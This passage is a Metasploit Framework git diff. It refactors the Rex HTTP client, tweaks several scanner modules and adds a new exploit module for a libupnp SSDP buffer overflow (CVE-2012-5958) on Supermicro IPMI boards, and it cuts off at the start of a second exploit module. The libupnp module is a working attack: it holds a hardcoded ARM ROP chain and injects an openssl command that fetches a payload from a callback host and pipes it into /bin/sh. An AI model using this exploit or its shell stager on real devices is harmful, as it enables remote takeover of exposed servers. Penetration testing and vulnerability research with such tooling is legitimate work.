diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar
index 3fc94594f6..495e0ef217 100755
Binary files a/data/gui/msfgui.jar and b/data/gui/msfgui.jar differ
diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java
index b1b7d2c2ac..8b754c1871 100644
--- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java
+++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java
@@ -260,7 +260,8 @@ public abstract class RpcConnection {
// Don't fork cause we'll check if it dies
String rpcType = "Basic";
java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{
- "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"}));
+ "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1",
+ "-p",Integer.toString(defaultPort)}));
if(!defaultSsl)
args.add("-S");
if(disableDb)
diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb
index d6d3fc68f2..760268a7f7 100644
--- a/lib/rex/proto/http/client.rb
+++ b/lib/rex/proto/http/client.rb
@@ -151,27 +151,44 @@ class Client
#
# Create an arbitrary HTTP request
#
+ # @param opts [Hash]
+ # @option opts 'agent' [String] User-Agent header value
+ # @option opts 'basic_auth' [String] Basic-Auth header value
+ # @option opts 'connection' [String] Connection header value
+ # @option opts 'cookie' [String] Cookie header value
+ # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616)
+ # @option opts 'encode' [Bool] URI encode the supplied URI, default: false
+ # @option opts 'headers' [Hash] HTTP headers, e.g. { "X-MyHeader" => "value" }
+ # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
+ # @option opts 'proto' [String] protocol, default: HTTP
+ # @option opts 'query' [String] raw query string
+ # @option opts 'raw_headers' [Hash] HTTP headers
+ # @option opts 'uri' [String] the URI to request
+ # @option opts 'version' [String] version of the protocol, default: 1.1
+ # @option opts 'vhost' [String] Host header value
+ #
+ # @return [Request]
def request_raw(opts={})
- c_enc = opts['encode'] || false
- c_uri = opts['uri'] || '/'
+ c_ag = opts['agent'] || config['agent']
+ c_auth = opts['basic_auth'] || config['basic_auth'] || ''
c_body = opts['data'] || ''
+ c_conn = opts['connection']
+ c_cook = opts['cookie'] || config['cookie']
+ c_enc = opts['encode'] || false
+ c_head = opts['headers'] || config['headers'] || {}
+ c_host = opts['vhost'] || config['vhost'] || self.hostname
c_meth = opts['method'] || 'GET'
c_prot = opts['proto'] || 'HTTP'
- c_vers = opts['version'] || config['version'] || '1.1'
c_qs = opts['query']
- c_ag = opts['agent'] || config['agent']
- c_cook = opts['cookie'] || config['cookie']
- c_host = opts['vhost'] || config['vhost'] || self.hostname
- c_head = opts['headers'] || config['headers'] || {}
c_rawh = opts['raw_headers']|| config['raw_headers'] || ''
- c_conn = opts['connection']
- c_auth = opts['basic_auth'] || config['basic_auth'] || ''
+ c_uri = opts['uri'] || '/'
+ c_vers = opts['version'] || config['version'] || '1.1'
# An agent parameter was specified, but so was a header, prefer the header
if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent')
c_ag = nil
end
-
+
uri = set_uri(c_uri)
req = ''
@@ -191,7 +208,6 @@ class Client
req << set_host_header(c_host)
req << set_agent_header(c_ag)
-
if (c_auth.length > 0)
req << set_basic_auth_header(c_auth)
end
@@ -201,53 +217,45 @@ class Client
req << set_extra_headers(c_head)
req << set_raw_headers(c_rawh)
req << set_body(c_body)
-
- {:string => req , :opts => opts}
+
+ request = Request.new
+ request.parse(req)
+ request.options = opts
+
+ request
end
#
# Create a CGI compatible request
#
- # Options:
- # - agent: User-Agent header value
- # - basic_auth: Basic-Auth header value
- # - connection: Connection header value
- # - cookie: Cookie header value
- # - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+
- # - data: HTTP data (only useful with some methods, see rfc2616)
- # - encode: URI encode the supplied URI, default: false
- # - encode_params: URI encode the GET or POST variables (names and values), default: true
- # - headers: HTTP headers as a hash, e.g. { "X-MyHeader" => "value" }
- # - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
- # - proto: protocol, default: HTTP
- # - query: raw query string
- # - raw_headers: HTTP headers as a hash
- # - uri: the URI to request
- # - vars_get: GET variables as a hash to be translated into a query string
- # - vars_post: POST variables as a hash to be translated into POST data
- # - version: version of the protocol, default: 1.1
- # - vhost: Host header value
+ # @param (see #request_raw)
+ # @option opts (see #request_raw)
+ # @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+
+ # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
+ # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
+ # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
#
+ # @return [Request]
def request_cgi(opts={})
+ c_ag = opts['agent'] || config['agent']
+ c_body = opts['data'] || ''
+ c_cgi = opts['uri'] || '/'
+ c_conn = opts['connection']
+ c_cook = opts['cookie'] || config['cookie']
c_enc = opts['encode'] || false
c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false)
- c_cgi = opts['uri'] || '/'
- c_body = opts['data'] || ''
- c_meth = opts['method'] || 'GET'
- c_prot = opts['proto'] || 'HTTP'
- c_vers = opts['version'] || config['version'] || '1.1'
- c_qs = opts['query'] || ''
- c_varg = opts['vars_get'] || {}
- c_varp = opts['vars_post'] || {}
c_head = opts['headers'] || config['headers'] || {}
+ c_host = opts['vhost'] || config['vhost']
+ c_meth = opts['method'] || 'GET'
+ c_path = opts['path_info']
+ c_prot = opts['proto'] || 'HTTP'
+ c_qs = opts['query'] || ''
c_rawh = opts['raw_headers'] || config['raw_headers'] || ''
c_type = opts['ctype'] || 'application/x-www-form-urlencoded'
- c_ag = opts['agent'] || config['agent']
- c_cook = opts['cookie'] || config['cookie']
- c_host = opts['vhost'] || config['vhost']
- c_conn = opts['connection']
- c_path = opts['path_info']
+ c_varg = opts['vars_get'] || {}
+ c_varp = opts['vars_post'] || {}
+ c_vers = opts['version'] || config['version'] || '1.1'
uri = set_cgi(c_cgi)
qstr = c_qs
@@ -264,7 +272,7 @@ class Client
c_varg.each_pair do |var,val|
qstr << '&' if qstr.length > 0
- qstr << (c_enc_p ? set_encode_uri(var) : var)
+ qstr << (c_enc_p ? set_encode_uri(var) : var)
qstr << '='
qstr << (c_enc_p ? set_encode_uri(val) : val)
end
@@ -315,12 +323,19 @@ class Client
req << set_raw_headers(c_rawh)
req << set_body(pstr)
- {:string => req , :opts => opts}
+ request = Request.new
+ request.parse(req)
+ request.options = opts
+
+ request
end
#
# Connects to the remote server if possible.
#
+ # @param t [Fixnum] Timeout
+ # @see Rex::Socket::Tcp.create
+ # @return [Rex::Socket::Tcp]
def connect(t = -1)
# If we already have a connection and we aren't pipelining, close it.
if (self.conn)
@@ -360,28 +375,29 @@ class Client
#
# Sends a request and gets a response back
- # If the request is a 401, and we have creds, it will attempt to
- # complete authentication and return the final response
+ #
+ # If the request is a 401, and we have creds, it will attempt to complete
+ # authentication and return the final response
#
def send_recv(req, t = -1, persist=false)
- opts = req[:opts]
- req = req[:string]
res = _send_recv(req,t,persist)
if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds?
- res = send_auth(res, opts, t, persist)
+ res = send_auth(res, req.options, t, persist)
end
res
end
#
# Transmit an HTTP request and receive the response
- # If persist is set, then the request will attempt
- # to reuse an existing connection.
#
+ # If persist is set, then the request will attempt to reuse an existing
+ # connection.
+ #
+ # Call this directly instead of {#send_recv} if you don't want automatic
+ # authentication handling.
+ #
+ # @return [Response]
def _send_recv(req, t = -1, persist=false)
- if req.kind_of? Hash and req[:string]
- req = req[:string]
- end
@pipeline = persist
send_request(req, t)
res = read_response(t)
@@ -392,12 +408,14 @@ class Client
#
# Send an HTTP request to the server
#
+ # @param req [Request,#to_s] The request to send
+ # @param t (see #connect)
def send_request(req, t = -1)
connect(t)
conn.put(req.to_s)
end
- # Validates that the client has creds
+ # Validates that the client has creds
def have_creds?
!(self.username.nil?) && self.username != ''
end
@@ -420,7 +438,7 @@ class Client
else
opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)}
end
-
+
req = request_cgi(opts)
res = _send_recv(req,t,persist)
return res
@@ -628,7 +646,7 @@ class Client
opts['password'] ||= self.password.to_s
if opts['provider'] and opts['provider'].include? 'Negotiate'
- provider = "Negotiate "
+ provider = "Negotiate "
else
provider = 'NTLM '
end
diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb
index 45d13b2bae..af88fdcb68 100644
--- a/lib/rex/proto/http/request.rb
+++ b/lib/rex/proto/http/request.rb
@@ -48,6 +48,8 @@ class Request < Packet
end
end
+ attr_accessor :options
+
#
# Initializes an instance of an HTTP request with the supplied method, URI,
# and protocol.
diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb
index 311bb83896..632a991c0f 100644
--- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb
+++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb
@@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
:category => "web",
:method => "GET"
})
-
+
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
elsif res and res.code
@@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
pass = datastore['PASSWORD']
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
-
+
#test login
begin
res = send_request_cgi({
diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb
index 900b8f3313..8eb9e1ce59 100644
--- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb
+++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb
@@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary
This module attempts to identify Ruby on Rails instances vulnerable to
an arbitrary object instantiation flaw in the XML request processor.
},
- 'Author' => 'hdm',
+ 'Author' => [
+ 'hdm', #author
+ 'jjarmoc' #improvements
+ ],
'License' => MSF_LICENSE,
'References' =>
[
@@ -29,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary
))
register_options([
- OptString.new('URIPATH', [true, "The URI to test", "/"])
+ OptString.new('URIPATH', [true, "The URI to test", "/"]),
+ OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]),
], self.class)
end
@@ -37,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
odata = %Q^\n^
res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
- 'method' => 'POST',
+ 'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'data' => odata
}, 25)
@@ -46,29 +50,35 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
res1 = send_probe("string", "hello")
- res2 = send_probe("yaml", "--- !ruby/object:Time {}\n")
- res3 = send_probe("yaml", "--- !ruby/object:\x00")
unless res1
vprint_status("#{rhost}:#{rport} No reply to the initial XML request")
return
end
+ if res1.code.to_s =~ /^[5]/
+ vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH")
+ return
+ end
+
+ res2 = send_probe("yaml", "--- !ruby/object:Time {}\n")
+
unless res2
vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe")
return
end
+ res3 = send_probe("yaml", "--- !ruby/object:\x00")
+
unless res3
vprint_status("#{rhost}:#{rport} No reply to the second YAML probe")
return
end
- if res1.code.to_s =~ /^[45]/
- vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH")
- end
+ vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}")
- if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200
+
+ if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200)
print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML")
report_vuln({
:host => rhost,
@@ -79,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
:refs => self.references
})
else
- vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set")
+ vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set")
end
end
diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
index b2e36eaefa..3201f3f340 100644
--- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
+++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
@@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
end
- def get_ppooe_credentials(conf)
+ def get_pppoe_credentials(conf)
user = ""
password = ""
@@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary
get_ftp_credentials(conf)
get_dvr_credentials(conf)
get_ddns_credentials(conf)
- get_ppooe_credentials(conf)
+ get_pppoe_credentials(conf)
dvr_name = ""
if res.body =~ /DVR_NAME=(.*)/
diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb
index fba5a396e7..4899016978 100644
--- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb
+++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n" +
- "\r\n\r\n" # Non-standard, but helps
+ "\r\n"
end
def scanner_prescan(batch)
@@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary
}
}
- if data =~ /^Server:[\s]*(.*)/i
+ if data =~ /^Server:[\s]*(.*)/mi
@results[skey][:info][:server] = $1.strip
end
ssdp_host = nil
ssdp_port = 80
location_string = ''
- if data =~ /^Location:[\s]*(.*)/i
+ if data =~ /^Location:[\s]*(.*)/mi
location_string = $1
@results[skey][:info][:location] = $1.strip
if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/]
@@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
- if data =~ /^USN:[\s]*(.*)/i
+ if data =~ /^USN:[\s]*(.*)/mi
@results[skey][:info][:usn] = $1.strip
end
diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb
index 4066d047fe..6fafba24d9 100644
--- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb
+++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb
@@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
- OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
-
+ OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
], self.class)
end
diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
index 8743f76106..e5e5311505 100644
--- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
+++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
@@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
- OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
-
+ OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
], self.class)
register_evasion_options(
diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb
index fb3f1693f9..90ebfa34a7 100644
--- a/modules/exploits/multi/misc/pbot_exec.rb
+++ b/modules/exploits/multi/misc/pbot_exec.rb
@@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
'evilcry', # pbot analysis'
'Jay Turla', # pbot analysis
- '@bwallHatesTwits', # PoC
+ 'bwall', # aka @bwallHatesTwits, PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
new file mode 100644
index 0000000000..ac7286c9b0
--- /dev/null
+++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
@@ -0,0 +1,349 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
+ 'Description' => %q{
+ This module exploits a buffer overflow in the unique_service_name()
+ function of libupnp's SSDP processor. The libupnp library is used across
+ thousands of devices and is referred to as the Intel SDK for UPnP
+ Devices or the Portable SDK for UPnP Devices.
+
+ Due to size limitations on many devices, this exploit uses a separate TCP
+ listener to stage the real payload.
+ },
+ 'Author' => [
+ 'hdm', # Exploit dev for Supermicro IPMI
+ 'Alex Eubanks ', # Exploit dev for Supermicro IPMI
+ 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2012-5958' ],
+ [ 'US-CERT-VU', '922681' ],
+ [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
+ ],
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Privileged' => true,
+ 'Payload' =>
+ {
+#
+# # The following BadChars do not apply since we stage the payload
+# # through a secondary connection. This is just for reference.
+#
+# 'BadChars' =>
+# # Bytes 0-8 are not allowed
+# [*(0..8)].pack("C*") +
+# # 0x09, 0x0a, 0x0d are allowed
+# "\x0b\x0c\x0e\x0f" +
+# # All remaining bytes up to space are restricted
+# [*(0x10..0x1f)].pack("C*") +
+# # Also not allowed
+# "\x7f\x3a" +
+# # Breaks our string quoting
+# "\x22",
+
+ # Unlimited since we stage this over a secondary connection
+ 'Space' => 8000,
+ 'DisableNops' => true,
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ # specific payloads vary widely by device (openssl for IPMI, etc)
+ }
+ },
+ 'Targets' =>
+ [
+
+ [ "Automatic", { } ],
+
+ #
+ # ROP targets are difficult to represent in the hash, use callbacks instead
+ #
+ [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
+
+ # The callback handles all target-specific settings
+ :callback => :target_supermicro_ipmi_131,
+
+ # This matches any line of the SSDP M-SEARCH response
+ :fingerprint =>
+ /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
+
+ #
+ # SSDP response:
+ # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
+ # http://192.168.xx.xx:49152/IPMIdevicedesc.xml
+ # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
+
+ # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
+
+ } ],
+
+ [ "Debug Target", {
+
+ # The callback handles all target-specific settings
+ :callback => :target_debug
+
+ } ]
+
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Jan 29 2013'))
+
+ register_options(
+ [
+ Opt::RHOST(),
+ Opt::RPORT(1900),
+ OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
+ OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
+ ], self.class)
+ end
+
+
+ def exploit
+
+ configure_socket
+
+ target_info = choose_target
+
+ unless self.respond_to?(target_info[:callback])
+ print_error("Invalid target specified: no callback function defined")
+ return
+ end
+
+ buffer = self.send(target_info[:callback])
+ pkt =
+ "M-SEARCH * HTTP/1.1\r\n" +
+ "Host:239.255.255.250:1900\r\n" +
+ "ST:uuid:schemas:device:" + buffer + ":end\r\n" +
+ "Man:\"ssdp:discover\"\r\n" +
+ "MX:3\r\n\r\n"
+
+ print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
+
+ r = udp_sock.sendto(pkt, rhost, rport, 0)
+
+ 1.upto(5) do
+ ::IO.select(nil, nil, nil, 1)
+ break if session_created?
+ end
+
+ # No handler() support right now
+ end
+
+
+
+ # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
+ def target_supermicro_ipmi_131
+
+ # Create a fixed-size buffer for the payload
+ buffer = Rex::Text.rand_text_alpha(2000)
+
+ # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
+ buffer[0,1] = '"'
+ buffer[1999,1] = '"'
+
+ # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
+ cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
+
+ # Start a listener
+ start_listener(true)
+
+ # Figure out the port we picked
+ cbport = self.service.getsockname[2]
+
+ # Restart the service and use openssl to stage the real payload
+ # Staged because only ~150 bytes of contiguous data are available before mangling
+ cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
+ buffer[432, cmd.length] = cmd
+
+ # Adjust $r3 to point from the bottom of the stack back into our buffer
+ buffer[304,4] = [0x4009daf8].pack("V") #
+ # 0x4009daf8: add r3, r3, r4, lsl #2
+ # 0x4009dafc: ldr r0, [r3, #512] ; 0x200
+ # 0x4009db00: pop {r4, r10, pc}
+
+ # The offset (right-shifted by 2 ) to our command string above
+ buffer[284,4] = [0xfffffe78].pack("V") #
+
+ # Copy $r3 into $r0
+ buffer[316,4] = [0x400db0ac].pack("V")
+ # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1
+ # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)
+
+ # Move our stack pointer down so as not to corrupt our payload
+ buffer[320,4] = [0x400a5568].pack("V")
+ # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198
+ # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}
+
+ # Finally return to system() with $r0 pointing to our string
+ buffer[141,4] = [0x400add8c].pack("V")
+
+ return buffer
+=begin
+ 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
+ 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
+ 00032000-00055000 rwxp 00000000 00:00 0 [heap]
+ 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
+ 40015000-40017000 rwxp 00000000 00:00 0
+ 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
+ 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
+ 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
+ 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
+ 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
+ 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
+ 40036000-40078000 rwxp 00000000 00:00 0
+ 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
+ 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
+ 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
+ 40185000-40187000 rwxp 00000000 00:00 0
+ bd600000-bd601000 ---p 00000000 00:00 0
+ bd601000-bd800000 rwxp 00000000 00:00 0
+ bd800000-bd801000 ---p 00000000 00:00 0
+ bd801000-bda00000 rwxp 00000000 00:00 0
+ bdc00000-bdc01000 ---p 00000000 00:00 0
+ bdc01000-bde00000 rwxp 00000000 00:00 0
+ be000000-be001000 ---p 00000000 00:00 0
+ be001000-be200000 rwxp 00000000 00:00 0
+ be941000-be956000 rwxp 00000000 00:00 0 [stack]
+=end
+
+ end
+
+ # Generate a buffer that provides a starting point for exploit development
+ def target_debug
+ buffer = Rex::Text.pattern_create(2000)
+ end
+
+ def stage_real_payload(cli)
+ print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
+ cli.put(payload.encoded + "\n")
+ end
+
+ def start_listener(ssl = false)
+
+ comm = datastore['ListenerComm']
+ if comm == "local"
+ comm = ::Rex::Socket::Comm::Local
+ else
+ comm = nil
+ end
+
+ self.service = Rex::Socket::TcpServer.create(
+ 'LocalPort' => datastore['CBPORT'],
+ 'SSL' => ssl,
+ 'SSLCert' => datastore['SSLCert'],
+ 'Comm' => comm,
+ 'Context' =>
+ {
+ 'Msf' => framework,
+ 'MsfExploit' => self,
+ })
+
+ self.service.on_client_connect_proc = Proc.new { |client|
+ stage_real_payload(client)
+ }
+
+ # Start the listening service
+ self.service.start
+ end
+
+ #
+ # Shut down any running services
+ #
+ def cleanup
+ super
+ if self.service
+ print_status("Shutting down payload stager listener...")
+ begin
+ self.service.deref if self.service.kind_of?(Rex::Service)
+ if self.service.kind_of?(Rex::Socket)
+ self.service.close
+ self.service.stop
+ end
+ self.service = nil
+ rescue ::Exception
+ end
+ end
+ end
+
+ def choose_target
+ # If the user specified a target, use that one
+ return self.target unless self.target.name =~ /Automatic/
+
+ msearch =
+ "M-SEARCH * HTTP/1.1\r\n" +
+ "Host:239.255.255.250:1900\r\n" +
+ "ST:upnp:rootdevice\r\n" +
+ "Man:\"ssdp:discover\"\r\n" +
+ "MX:3\r\n\r\n"
+
+ # Fingerprint the service through SSDP
+ udp_sock.sendto(msearch, rhost, rport, 0)
+
+ res = nil
+ 1.upto(5) do
+ res,addr,info = udp_sock.recvfrom(65535, 1.0)
+ break if res and res =~ /^(Server|Location)/mi
+ udp_sock.sendto(msearch, rhost, rport, 0)
+ end
+
+ self.targets.each do |t|
+ return t if t[:fingerprint] and res =~ t[:fingerprint]
+ end
+
+ if res and res.to_s.length > 0
+ print_status("No target matches this fingerprint")
+ print_status("")
+ res.to_s.split("\n").each do |line|
+ print_status(" #{line.strip}")
+ end
+ print_status("")
+ else
+ print_status("The system #{rhost} did not reply to our M-SEARCH probe")
+ end
+
+ fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
+ end
+
+ # Accessor for our TCP payload stager
+ attr_accessor :service
+
+ # We need an unconnected socket because SSDP replies often come
+ # from a different sent port than the one we sent to. This also
+ # breaks the standard UDP mixin.
+ def configure_socket
+ self.udp_sock = Rex::Socket::Udp.create({
+ 'Context' => { 'Msf' => framework, 'MsfExploit' => self }
+ })
+ add_socket(self.udp_sock)
+ end
+
+ #
+ # Required since we aren't using the normal mixins
+ #
+
+ def rhost
+ datastore['RHOST']
+ end
+
+ def rport
+ datastore['RPORT']
+ end
+
+ # Accessor for our UDP socket
+ attr_accessor :udp_sock
+
+end
diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb
index 0a64ebeae4..e51ecadf6d 100644
--- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb
+++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb
@@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'Unknown', # 0day found in the wild
- '@sn0wfl0w', # initial analysis
- '@vicheck', # initial analysis
+ 'sn0wfl0w', # initial analysis, also @vicheck on twitter
'jduck' # Metasploit module
],
'References' =>
diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
index cee5f962a6..a7ba46418a 100644
--- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
+++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
@@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'unknown', # discovered in the wild
- '@yuange1975', # PoC posted to twitter
+ 'Yuange', # PoC posted to twitter under @yuange1975
'Matteo Memelli', # exploit-db version
'jduck' # Metasploit module
],
diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb
new file mode 100644
index 0000000000..fa3681ff88
--- /dev/null
+++ b/modules/exploits/windows/browser/ovftool_format_string.rb
@@ -0,0 +1,134 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::HttpServer::HTML
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'VMWare OVF Tools Format String Vulnerability',
+ 'Description' => %q{
+ This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
+ Windows. The vulnerability occurs when printing error messages while parsing a
+ a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
+ 2.1 on Windows XP SP3.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
